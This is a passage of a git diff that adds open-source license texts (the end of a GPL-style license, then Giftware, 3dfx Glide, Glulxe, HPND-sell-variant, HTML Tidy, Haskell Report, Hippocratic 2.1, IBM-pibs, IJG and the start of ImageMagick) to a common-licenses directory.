+INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE
+PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER
+PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+If the disclaimer of warranty and limitation of liability provided above cannot
+be given local legal effect according to their terms, reviewing courts shall
+apply local law that most closely approximates an absolute waiver of all civil
+liability in connection with the Program, unless a warranty or assumption
+of liability accompanies a copy of the Program in return for a fee. END OF
+TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to the public, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively state the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and a brief idea of what it does.>
+
+Copyright (C) <year> <name of author>
+
+This program is free software: you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free Software
+Foundation, either version 3 of the License, or (at your option) any later
+version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with
+this program. If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program does terminal interaction, make it output a short notice like
+this when it starts in an interactive mode:
+
+<program> Copyright (C) <year> <name of author>
+
+This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+
+This is free software, and you are welcome to redistribute it under certain
+conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands might
+be different; for a GUI interface, you would use an "about box".
+
+You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. For
+more information on this, and how to apply and follow the GNU GPL, see <https://www.gnu.org/licenses/>.
+
+The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library. If this is what you want to do, use the GNU Lesser General Public
+License instead of this License. But first, please read <https://www.gnu.org/
+licenses /why-not-lgpl.html>.
diff --git a/meta/files/common-licenses/Giftware b/meta/files/common-licenses/Giftware
new file mode 100644
index 0000000000..c22c5a6fb9
--- /dev/null
+++ b/meta/files/common-licenses/Giftware
@@ -0,0 +1,9 @@
+Allegro 4 (the giftware license)
+
+Allegro is gift-ware. It was created by a number of people working in cooperation, and is given to you freely as a gift. You may use, modify, redistribute, and generally hack it about in any way you like, and you do not have to give us anything in return.
+
+However, if you like this product you are encouraged to thank us by making a return gift to the Allegro community. This could be by writing an add-on package, providing a useful bug report, making an improvement to the library, or perhaps just releasing the sources of your program so that other people can learn from them. If you redistribute parts of this code or make a game using it, it would be nice if you mentioned Allegro somewhere in the credits, but you are not required to do this. We trust you not to abuse our generosity.
+
+By Shawn Hargreaves, 18 October 1998.
+
+DISCLAIMER: THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/Glide b/meta/files/common-licenses/Glide
new file mode 100644
index 0000000000..23eae7c417
--- /dev/null
+++ b/meta/files/common-licenses/Glide
@@ -0,0 +1,95 @@
+3DFX GLIDE Source Code General Public License
+
+1. PREAMBLE
+
+This license is for software that provides a 3D graphics application program interface (API).The license is intended to offer terms similar to some standard General Public Licenses designed to foster open standards and unrestricted accessibility to source code. Some of these licenses require that, as a condition of the license of the software, any derivative works (that is, new software which is a work containing the original program or a portion of it) must be available for general use, without restriction other than for a minor transfer fee, and that the source code for such derivative works must likewise be made available. The only restriction is that such derivative works must be subject to the same General Public License terms as the original work.
+
+This 3dfx GLIDE Source Code General Public License differs from the standard licenses of this type in that it does not require the entire derivative work to be made available under the terms of this license nor is the recipient required to make available the source code for the entire derivative work. Rather, the license is limited to only the identifiable portion of the derivative work that is derived from the licensed software. The precise terms and conditions for copying, distribution and modification follow.
+
+2. DEFINITIONS
+
+ 2.1 This License applies to any program (or other "work") which contains a notice placed by the copyright holder saying it may be distributed under the terms of this 3dfx GLIDE Source Code General Public License.
+
+ 2.2 The term "Program" as used in this Agreement refers to 3DFX's GLIDE source code and object code and any Derivative Work.
+
+ 2.3 "Derivative Work" means, for the purpose of the License, that portion of any work that contains the Program or the identifiable portion of a work that is derived from the Program, either verbatim or with modifications and/or translated into another language, and that performs 3D graphics API operations. It does not include any other portions of a work.
+
+ 2.4 "Modifications of the Program" means any work, which includes a Derivative Work, and includes the whole of such work.
+
+ 2.5 "License" means this 3dfx GLIDE Source Code General Public License.
+
+ 2.6 The "Source Code" for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, any associated interface definition files, and the scripts used to control compilation and installation of the executable work.
+
+ 2.7 "3dfx" means 3dfx Interactive, Inc.
+
+3. LICENSED ACTIVITIES
+
+ 3.1 COPYING - You may copy and distribute verbatim copies of the Program's Source Code as you receive it, in any medium, subject to the provision of section 3.3 and provided also that:
+
+ (a) you conspicuously and appropriately publish on each copy an appropriate copyright notice (3dfx Interactive, Inc. 1999), a notice that recipients who wish to copy, distribute or modify the Program can only do so subject to this License, and a disclaimer of warranty as set forth in section 5;
+
+ (b) keep intact all the notices that refer to this License and to the absence of any warranty; and
+
+ (c) do not make any use of the GLIDE trademark without the prior written permission of 3dfx, and
+
+ (d) give all recipients of the Program a copy of this License along with the Program or instructions on how to easily receive a copy of this License.
+
+ 3.2 MODIFICATION OF THE PROGRAM/DERIVATIVE WORKS - You may modify your copy or copies of the Program or any portion of it, and copy and distribute such modifications subject to the provisions of section 3.3 and provided that you also meet all of the following conditions:
+
+ (a) you conspicuously and appropriately publish on each copy of a Derivative Work an appropriate copyright notice, a notice that recipients who wish to copy, distribute or modify the Derivative Work can only do so subject to this License, and a disclaimer of warranty as set forth in section 5;
+
+ (b) keep intact all the notices that refer to this License and to the absence of any warranty; and (c) give all recipients of the Derivative Work a copy of this License along with the Derivative Work or instructions on how to easily receive a copy of this License.
+
+ (d) You must cause the modified files of the Derivative Work to carry prominent notices stating that you changed the files and the date of any change.
+
+ (e) You must cause any Derivative Work that you distribute or publish to be licensed at no charge to all third parties under the terms of this License.
+
+ (f) You do not make any use of the GLIDE trademark without the prior written permission of 3dfx.
+
+ (g) If the Derivative Work normally reads commands interactively when run, you must cause it, when started running for such interactive use, to print or display an announcement as follows:
+
+ "COPYRIGHT 3DFX INTERACTIVE, INC. 1999, ALL RIGHTS RESERVED THIS SOFTWARE IS FREE AND PROVIDED "AS IS," WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED. THERE IS NO RIGHT TO USE THE GLIDE TRADEMARK WITHOUT PRIOR WRITTEN PERMISSION OF 3DFX INTERACTIVE, INC. SEE THE 3DFX GLIDE GENERAL PUBLIC LICENSE FOR A FULL TEXT OF THE DISTRIBUTION AND NON-WARRANTY PROVISIONS (REQUEST COPY FROM INFO@3DFX.COM)."
+
+ (h) The requirements of this section 3.2 do not apply to the modified work as a whole but only to the Derivative Work. It is not the intent of this License to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of Derivative Works.
+
+ 3.3 DISTRIBUTION
+
+ (a) All copies of the Program or Derivative Works which are distributed must include in the file headers the following language verbatim:
+
+ "THIS SOFTWARE IS SUBJECT TO COPYRIGHT PROTECTION AND IS OFFERED ONLY PURSUANT TO THE 3DFX GLIDE GENERAL PUBLIC LICENSE. THERE IS NO RIGHT TO USE THE GLIDE TRADEMARK WITHOUT PRIOR WRITTEN PERMISSION OF 3DFX INTERACTIVE, INC. A COPY OF THIS LICENSE MAY BE OBTAINED FROM THE DISTRIBUTOR OR BY CONTACTING 3DFX INTERACTIVE INC (info@3dfx.com). THIS PROGRAM. IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED. SEE THE 3DFX GLIDE GENERAL PUBLIC LICENSE FOR A FULL TEXT OF THE NON-WARRANTY PROVISIONS.
+
+ USE, DUPLICATION OR DISCLOSURE BY THE GOVERNMENT IS SUBJECT TO RESTRICTIONS AS SET FORTH IN SUBDIVISION (C)(1)(II) OF THE RIGHTS IN TECHNICAL DATA AND COMPUTER SOFTWARE CLAUSE AT DFARS 252.227-7013, AND/OR IN SIMILAR OR SUCCESSOR CLAUSES IN THE FAR, DOD OR NASA FAR SUPPLEMENT. UNPUBLISHED RIGHTS RESERVED UNDER THE COPYRIGHT LAWS OF THE UNITED STATES.
+
+ COPYRIGHT 3DFX INTERACTIVE, INC. 1999, ALL RIGHTS RESERVED"
+
+ (b) You may distribute the Program or a Derivative Work in object code or executable form under the terms of Sections 3.1 and 3.2 provided that you also do one of the following:
+
+ (1) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 3.1 and 3.2; or,
+
+ (2) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 3.1 and 3.2 on a medium customarily used for software interchange; or,
+
+ (3) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection 3.3(b)(2) above.)
+
+ (c) The source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable code.
+
+ (d) If distribution of executable code or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
+
+ (e) Each time you redistribute the Program or any Derivative Work, the recipient automatically receives a license from 3dfx and successor licensors to copy, distribute or modify the Program and Derivative Works subject to the terms and conditions of the License. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
+
+ (f) You may not make any use of the GLIDE trademark without the prior written permission of 3dfx.
+
+ (g) You may not copy, modify, sublicense, or distribute the Program or any Derivative Works except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program or any Derivative Works is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+4. MISCELLANEOUS
+
+ 4.1 Acceptance of this License is voluntary. By using, modifying or distributing the Program or any Derivative Work, you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. Nothing else grants you permission to modify or distribute the Program or Derivative Works and doing so without acceptance of this License is in violation of the U.S. and international copyright laws.
+
+ 4.2 If the distribution and/or use of the Program or Derivative Works is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+ 4.3 This License is to be construed according to the laws of the State of California and you consent to personal jurisdiction in the State of California in the event it is necessary to enforce the provisions of this License.
+
+5. NO WARRANTIES
+
+ 5.1 TO THE EXTENT PERMITTED BY APPLICABLE LAW, THERE IS NO WARRANTY FOR THE PROGRAM. OR DERIVATIVE WORKS THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM AND ANY DERIVATIVE WORKS"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM AND ANY DERIVATIVE WORK IS WITH YOU. SHOULD THE PROGRAM OR ANY DERIVATIVE WORK PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 5.2 IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL 3DFX INTERACTIVE, INC., OR ANY OTHER COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM OR DERIVATIVE WORKS AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM OR DERIVATIVE WORKS (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM OR DERIVATIVE WORKS TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/Glulxe b/meta/files/common-licenses/Glulxe
new file mode 100644
index 0000000000..8bbb720e65
--- /dev/null
+++ b/meta/files/common-licenses/Glulxe
@@ -0,0 +1,3 @@
+The source code in this package is copyright 1999-2010 by Andrew Plotkin.
+
+You may copy and distribute it freely, by any means and under any conditions, as long as the code and documentation is not changed. You may also incorporate this code into your own program and distribute that, or modify this code and use and distribute the modified version, as long as you retain a notice in your program or documentation which mentions my name and the URL shown above.
diff --git a/meta/files/common-licenses/HPND-sell-variant b/meta/files/common-licenses/HPND-sell-variant
new file mode 100644
index 0000000000..cac53b2373
--- /dev/null
+++ b/meta/files/common-licenses/HPND-sell-variant
@@ -0,0 +1,19 @@
+Copyright 1993 by OpenVision Technologies, Inc.
+
+Permission to use, copy, modify, distribute, and sell this software
+and its documentation for any purpose is hereby granted without fee,
+provided that the above copyright notice appears in all copies and
+that both that copyright notice and this permission notice appear in
+supporting documentation, and that the name of OpenVision not be used
+in advertising or publicity pertaining to distribution of the software
+without specific, written prior permission. OpenVision makes no
+representations about the suitability of this software for any
+purpose. It is provided "as is" without express or implied warranty.
+
+OPENVISION DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,
+INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO
+EVENT SHALL OPENVISION BE LIABLE FOR ANY SPECIAL, INDIRECT OR
+CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF
+USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/HTMLTIDY b/meta/files/common-licenses/HTMLTIDY
new file mode 100644
index 0000000000..098dee8c05
--- /dev/null
+++ b/meta/files/common-licenses/HTMLTIDY
@@ -0,0 +1,13 @@
+HTML Tidy License
+
+This software and documentation is provided "as is," and the copyright holders and contributing author(s) make no representations or warranties, express or implied, including but not limited to, warranties of merchantability or fitness for any particular purpose or that the use of the software or documentation will not infringe any third party patents, copyrights, trademarks or other rights.
+
+The copyright holders and contributing author(s) will not be held liable for any direct, indirect, special or consequential damages arising out of any use of the software or documentation, even if advised of the possibility of such damage.
+
+Permission is hereby granted to use, copy, modify, and distribute this source code, or portions hereof, documentation and executables, for any purpose, without fee, subject to the following restrictions:
+
+ 1. The origin of this source code must not be misrepresented.
+ 2. Altered versions must be plainly marked as such and must not be misrepresented as being the original source.
+ 3. This Copyright notice may not be removed or altered from any source or altered source distribution.
+
+The copyright holders and contributing author(s) specifically permit, without fee, and encourage the use of this source code as a component for supporting the Hypertext Markup Language in commercial products. If you use this source code in a product, acknowledgement is not required but would be appreciated.
diff --git a/meta/files/common-licenses/HaskellReport b/meta/files/common-licenses/HaskellReport
new file mode 100644
index 0000000000..563b7056c1
--- /dev/null
+++ b/meta/files/common-licenses/HaskellReport
@@ -0,0 +1,6 @@
+Code derived from the document "Report on the Programming Language
+Haskell 2010", is distributed under the following license:
+
+Copyright (c) 2010 Simon Marlow
+
+The authors intend this Report to belong to the entire Haskell community, and so we grant permission to copy and distribute it for any purpose, provided that it is reproduced in its entirety, including this Notice. Modified versions of this Report may also be copied and distributed for any purpose, provided that the modified version is clearly presented as such, and that it does not claim to be a definition of the Haskell 2010 Language.
diff --git a/meta/files/common-licenses/Hippocratic-2.1 b/meta/files/common-licenses/Hippocratic-2.1
new file mode 100644
index 0000000000..0395b52ddf
--- /dev/null
+++ b/meta/files/common-licenses/Hippocratic-2.1
@@ -0,0 +1,33 @@
+[SOFTWARE NAME] Copyright (YEAR) (COPYRIGHT HOLDER(S)/AUTHOR(S))(“Licensor”)
+
+Hippocratic License Version Number: 2.1.
+
+Purpose. The purpose of this License is for the Licensor named above to permit the Licensee (as defined below) broad permission, if consistent with Human Rights Laws and Human Rights Principles (as each is defined below), to use and work with the Software (as defined below) within the full scope of Licensor’s copyright and patent rights, if any, in the Software, while ensuring attribution and protecting the Licensor from liability.
+
+Permission and Conditions. The Licensor grants permission by this license (“License”), free of charge, to the extent of Licensor’s rights under applicable copyright and patent law, to any person or entity (the “Licensee”) obtaining a copy of this software and associated documentation files (the “Software”), to do everything with the Software that would otherwise infringe (i) the Licensor’s copyright in the Software or (ii) any patent claims to the Software that the Licensor can license or becomes able to license, subject to all of the following terms and conditions:
+
+* Acceptance. This License is automatically offered to every person and entity subject to its terms and conditions. Licensee accepts this License and agrees to its terms and conditions by taking any action with the Software that, absent this License, would infringe any intellectual property right held by Licensor.
+
+* Notice. Licensee must ensure that everyone who gets a copy of any part of this Software from Licensee, with or without changes, also receives the License and the above copyright notice (and if included by the Licensor, patent, trademark and attribution notice). Licensee must cause any modified versions of the Software to carry prominent notices stating that Licensee changed the Software. For clarity, although Licensee is free to create modifications of the Software and distribute only the modified portion created by Licensee with additional or different terms, the portion of the Software not modified must be distributed pursuant to this License. If anyone notifies Licensee in writing that Licensee has not complied with this Notice section, Licensee can keep this License by taking all practical steps to comply within 30 days after the notice. If Licensee does not do so, Licensee’s License (and all rights licensed hereunder) shall end immediately.
+
+* Compliance with Human Rights Principles and Human Rights Laws.
+
+ 1. Human Rights Principles.
+
+ (a) Licensee is advised to consult the articles of the United Nations Universal Declaration of Human Rights and the United Nations Global Compact that define recognized principles of international human rights (the “Human Rights Principles”). Licensee shall use the Software in a manner consistent with Human Rights Principles.
+
+ (b) Unless the Licensor and Licensee agree otherwise, any dispute, controversy, or claim arising out of or relating to (i) Section 1(a) regarding Human Rights Principles, including the breach of Section 1(a), termination of this License for breach of the Human Rights Principles, or invalidity of Section 1(a) or (ii) a determination of whether any Law is consistent or in conflict with Human Rights Principles pursuant to Section 2, below, shall be settled by arbitration in accordance with the Hague Rules on Business and Human Rights Arbitration (the “Rules”); provided, however, that Licensee may elect not to participate in such arbitration, in which event this License (and all rights licensed hereunder) shall end immediately. The number of arbitrators shall be one unless the Rules require otherwise.
+
+ Unless both the Licensor and Licensee agree to the contrary: (1) All documents and information concerning the arbitration shall be public and may be disclosed by any party; (2) The repository referred to under Article 43 of the Rules shall make available to the public in a timely manner all documents concerning the arbitration which are communicated to it, including all submissions of the parties, all evidence admitted into the record of the proceedings, all transcripts or other recordings of hearings and all orders, decisions and awards of the arbitral tribunal, subject only to the arbitral tribunal's powers to take such measures as may be necessary to safeguard the integrity of the arbitral process pursuant to Articles 18, 33, 41 and 42 of the Rules; and (3) Article 26(6) of the Rules shall not apply.
+
+ 2. Human Rights Laws. The Software shall not be used by any person or entity for any systems, activities, or other uses that violate any Human Rights Laws. “Human Rights Laws” means any applicable laws, regulations, or rules (collectively, “Laws”) that protect human, civil, labor, privacy, political, environmental, security, economic, due process, or similar rights; provided, however, that such Laws are consistent and not in conflict with Human Rights Principles (a dispute over the consistency or a conflict between Laws and Human Rights Principles shall be determined by arbitration as stated above). Where the Human Rights Laws of more than one jurisdiction are applicable or in conflict with respect to the use of the Software, the Human Rights Laws that are most protective of the individuals or groups harmed shall apply.
+
+ 3. Indemnity. Licensee shall hold harmless and indemnify Licensor (and any other contributor) against all losses, damages, liabilities, deficiencies, claims, actions, judgments, settlements, interest, awards, penalties, fines, costs, or expenses of whatever kind, including Licensor’s reasonable attorneys’ fees, arising out of or relating to Licensee’s use of the Software in violation of Human Rights Laws or Human Rights Principles.
+
+* Failure to Comply. Any failure of Licensee to act according to the terms and conditions of this License is both a breach of the License and an infringement of the intellectual property rights of the Licensor (subject to exceptions under Laws, e.g., fair use). In the event of a breach or infringement, the terms and conditions of this License may be enforced by Licensor under the Laws of any jurisdiction to which Licensee is subject. Licensee also agrees that the Licensor may enforce the terms and conditions of this License against Licensee through specific performance (or similar remedy under Laws) to the extent permitted by Laws. For clarity, except in the event of a breach of this License, infringement, or as otherwise stated in this License, Licensor may not terminate this License with Licensee.
+
+* Enforceability and Interpretation. If any term or provision of this License is determined to be invalid, illegal, or unenforceable by a court of competent jurisdiction, then such invalidity, illegality, or unenforceability shall not affect any other term or provision of this License or invalidate or render unenforceable such term or provision in any other jurisdiction; provided, however, subject to a court modification pursuant to the immediately following sentence, if any term or provision of this License pertaining to Human Rights Laws or Human Rights Principles is deemed invalid, illegal, or unenforceable against Licensee by a court of competent jurisdiction, all rights in the Software granted to Licensee shall be deemed null and void as between Licensor and Licensee. Upon a determination that any term or provision is invalid, illegal, or unenforceable, to the extent permitted by Laws, the court may modify this License to affect the original purpose that the Software be used in compliance with Human Rights Principles and Human Rights Laws as closely as possible. The language in this License shall be interpreted as to its fair meaning and not strictly for or against any party.
+
+* Disclaimer. TO THE FULL EXTENT ALLOWED BY LAW, THIS SOFTWARE COMES “AS IS,” WITHOUT ANY WARRANTY, EXPRESS OR IMPLIED, AND LICENSOR AND ANY OTHER CONTRIBUTOR SHALL NOT BE LIABLE TO ANYONE FOR ANY DAMAGES OR OTHER LIABILITY ARISING FROM, OUT OF, OR IN CONNECTION WITH THE SOFTWARE OR THIS LICENSE, UNDER ANY KIND OF LEGAL CLAIM.
+
+This Hippocratic License is an Ethical Source license (https://ethicalsource.dev) and is offered for use by licensors and licensees at their own risk, on an “AS IS” basis, and with no warranties express or implied, to the maximum extent permitted by Laws.
diff --git a/meta/files/common-licenses/IBM-pibs b/meta/files/common-licenses/IBM-pibs
new file mode 100644
index 0000000000..49454b8b1e
--- /dev/null
+++ b/meta/files/common-licenses/IBM-pibs
@@ -0,0 +1,8 @@
+This source code has been made available to you by IBM on an AS-IS basis. Anyone receiving this source is licensed under IBM copyrights to use it in any way he or she deems fit, including copying it, modifying it, compiling it, and redistributing it either with or without modifications. No license under IBM patents or patent applications is to be implied by the copyright license.
+
+Any user of this software should understand that IBM cannot provide technical support for this software and will not be responsible for any consequences resulting from the use of this software.
+
+Any person who transfers this source code or any derivative work must include the IBM copyright notice, this paragraph, and the preceding two paragraphs in the transferred software.
+
+COPYRIGHT   I B M   CORPORATION 2002
+LICENSED MATERIAL  -  PROGRAM PROPERTY OF I B M
diff --git a/meta/files/common-licenses/IJG b/meta/files/common-licenses/IJG
new file mode 100644
index 0000000000..761071caa4
--- /dev/null
+++ b/meta/files/common-licenses/IJG
@@ -0,0 +1,38 @@
+Independent JPEG Group License
+
+LEGAL ISSUES
+
+In plain English:
+
+1. We don't promise that this software works. (But if you find any bugs, please let us know!)
+2. You can use this software for whatever you want. You don't have to pay us.
+3. You may not pretend that you wrote this software. If you use it in a program, you must acknowledge somewhere in your documentation that you've used the IJG code.
+
+In legalese:
+
+The authors make NO WARRANTY or representation, either express or implied, with respect to this software, its quality, accuracy, merchantability, or fitness for a particular purpose. This software is provided "AS IS", and you, its user, assume the entire risk as to its quality and accuracy.
+
+This software is copyright (C) 1991-1998, Thomas G. Lane. All Rights Reserved except as specified below.
+
+Permission is hereby granted to use, copy, modify, and distribute this software (or portions thereof) for any purpose, without fee, subject to these conditions:
+
+ (1) If any part of the source code for this software is distributed, then this README file must be included, with this copyright and no-warranty notice unaltered; and any additions, deletions, or changes to the original files must be clearly indicated in accompanying documentation.
+ (2) If only executable code is distributed, then the accompanying documentation must state that "this software is based in part on the work of the Independent JPEG Group".
+ (3) Permission for use of this software is granted only if the user accepts full responsibility for any undesirable consequences; the authors accept NO LIABILITY for damages of any kind.
+
+These conditions apply to any software derived from or based on the IJG code, not just to the unmodified library. If you use our work, you ought to acknowledge us.
+
+Permission is NOT granted for the use of any IJG author's name or company name in advertising or publicity relating to this software or products derived from it. This software may be referred to only as "the Independent JPEG Group's software".
+
+We specifically permit and encourage the use of this software as the basis of commercial products, provided that all warranty or liability claims are assumed by the product vendor.
+
+ansi2knr.c is included in this distribution by permission of L. Peter Deutsch, sole proprietor of its copyright holder, Aladdin Enterprises of Menlo Park, CA. ansi2knr.c is NOT covered by the above copyright and conditions, but instead by the usual distribution terms of the Free Software Foundation; principally, that you must include source code if you redistribute it. (See the file ansi2knr.c for full details.) However, since ansi2knr.c is not needed as part of any program generated from the IJG code, this does not limit you more than the foregoing paragraphs do.
+
+The Unix configuration script "configure" was produced with GNU Autoconf. It is copyright by the Free Software Foundation but is freely distributable. The same holds for its supporting scripts (config.guess, config.sub, ltconfig, ltmain.sh). Another support script, install-sh, is copyright by M.I.T. but is also freely distributable.
+
+It appears that the arithmetic coding option of the JPEG spec is covered by patents owned by IBM, AT&T, and Mitsubishi. Hence arithmetic coding cannot legally be used without obtaining one or more licenses. For this reason, support for arithmetic coding has been removed from the free JPEG software. (Since arithmetic coding provides only a marginal gain over the unpatented Huffman mode, it is unlikely that very many implementations will support it.) So far as we are aware, there are no patent restrictions on the remaining code.
+
+The IJG distribution formerly included code to read and write GIF files. To avoid entanglement with the Unisys LZW patent, GIF reading support has been removed altogether, and the GIF writer has been simplified to produce "uncompressed GIFs". This technique does not use the LZW algorithm; the resulting GIF files are larger than usual, but are readable by all standard GIF decoders.
+
+We are required to state that
+ "The Graphics Interchange Format(c) is the Copyright property of CompuServe Incorporated. GIF(sm) is a Service Mark property of CompuServe Incorporated."
diff --git a/meta/files/common-licenses/ImageMagick b/meta/files/common-licenses/ImageMagick
new file mode 100644
index 0000000000..e627fd7b42
--- /dev/null
+++ b/meta/files/common-licenses/ImageMagick
@@ -0,0 +1,98 @@
+Before we get to the text of the license, lets just review what the license says in simple terms:
+
+It allows you to:
+
+ * freely download and use ImageMagick software, in whole or in part, for personal, company internal, or commercial purposes;
+ * use ImageMagick software in packages or distributions that you create;
+ * link against a library under a different license;
+ * link code under a different license against a library under this license;
+ * merge code into a work under a different license;
+ * extend patent grants to any code using code under this license;
+ * and extend patent protection.
+
+It forbids you to:
+
+ * redistribute any piece of ImageMagick-originated software without proper attribution;
+ * use any marks owned by ImageMagick Studio LLC in any way that might state or imply that ImageMagick Studio LLC endorses your distribution;
+ * use any marks owned by ImageMagick Studio LLC in any way that might state or imply that you created the ImageMagick software in question.
+
+It requires you to:
+
+ * include a copy of the license in any redistribution you may make that includes ImageMagick software;
+ * provide clear attribution to ImageMagick Studio LLC for any distributions that include ImageMagick software.
+
+It does not require you to:
+
+ * include the source of the ImageMagick software itself, or of any modifications you may have made to it, in any redistribution you may assemble that includes it;
+ * submit changes that you make to the software back to the ImageMagick Studio LLC (though such feedback is encouraged).
+
+A few other clarifications include:
+
+ * ImageMagick is freely available without charge;
+ * you may include ImageMagick on a DVD as long as you comply with the terms of the license;
+ * you can give modified code away for free or sell it under the terms of the ImageMagick license or distribute the result under a different license, but you need to acknowledge the use of the ImageMagick software;
+ * the license is compatible with the GPL V3.
+ * when exporting the ImageMagick software, review its export classification.
+
+Terms and Conditions for Use, Reproduction, and Distribution
+
+The legally binding and authoritative terms and conditions for use, reproduction, and distribution of ImageMagick follow:
+
+Copyright 1999-2013 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available.
+
+1. Definitions.
+
+License shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
+
+Licensor shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.
+
+Legal Entity shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, control means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+You (or Your) shall mean an individual or Legal Entity exercising permissions granted by this License.
+
+Source form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.
+
+Object form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types.
+
+Work shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below).
+
+Derivative Works shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.
+
